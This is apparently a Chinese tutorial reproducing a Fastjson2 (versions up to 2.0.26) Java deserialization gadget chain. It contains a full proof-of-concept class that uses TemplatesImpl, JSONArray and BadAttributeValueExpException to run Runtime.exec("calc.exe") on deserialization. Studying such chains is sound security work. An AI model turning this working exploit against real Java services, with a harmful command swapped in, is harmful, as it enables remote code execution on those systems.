根据@Y4TACKER作者在2023-03-20发布了一篇关于Fastjson原生反序列化的文章,文章中引入注目的是利用条件限制条件,不常常关注漏洞预警或者内容的几乎都是未发觉Fastjson2 到Fastjson2 2.0.26版本都有问题,其实如果单独去使用一些关键词去搜索:Fastjson2漏洞或Fastjson2 Payload的结果内容比较乱比较杂,几乎参杂了Fastjson1的SEO搜索内容,那么就可能在一时没注意的情况下直接滑过。
一、创建一个DEMO
设置依赖项(依赖项中有个是使用的是Fastjson1.2.48的,这个就不演示了,主要还是以Fastjson2系列为主)
<project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>xibt</groupId><artifactId>com.xibt</artifactId><version>0.0.1-SNAPSHOT</version><name>Proxy</name><dependencies><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.19.0-GA</version> <!-- 或者其他版本 --></dependency><!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.48</version></dependency><dependency><groupId>com.alibaba.fastjson2</groupId><artifactId>fastjson2</artifactId><version>2.0.0</version></dependency></dependencies>
</project>
在项目中创建一个Java类(上面的fastjson2依赖,版本根据也可自行更改为2.0.26版本,几乎都是存在问题的)
package com.example.fastjson;import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test {public static void setValue(Object obj, String name, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);// 修改这里,使用 calc.exe 打开 Windows 计算器(如果是mac需要自行修改)constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");clazz.addConstructor(constructor);byte[][] bytes = new byte[][]{clazz.toBytecode()};TemplatesImpl templates = TemplatesImpl.class.newInstance();setValue(templates, "_bytecodes", bytes);setValue(templates, "_name", "y4tacker");setValue(templates, "_tfactory", null);JSONArray jsonArray = new JSONArray();jsonArray.add(templates);BadAttributeValueExpException val = new BadAttributeValueExpException(null);Field valfield = val.getClass().getDeclaredField("val");valfield.setAccessible(true);valfield.set(val, jsonArray);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);objectOutputStream.writeObject(val);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}
漏洞触发点:
Fastjson2 在处理某些特殊的序列化数据时存在漏洞,该漏洞允许攻击者通过构造恶意的JSON数据触发远程代码执行。
具体触发点在于通过JSONArray
的add
方法,将构造的TemplatesImpl
对象添加到JSONArray
中。
利用方法:
通过构造TemplatesImpl
对象,设置_bytecodes
字段为经过calc.exe
执行代码的字节码。
利用BadAttributeValueExpException
类的漏洞,通过设置其val
字段为包含恶意TemplatesImpl
对象的JSONArray
,以触发漏洞。
触发方式:
触发的方式主要是通过对BadAttributeValueExpException
对象的序列化和反序列化,以触发Fastjson反序列化漏洞。
最终目的是在反序列化过程中执行恶意构造的TemplatesImpl
对象中的代码,即执行constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
从而触发恶意调用。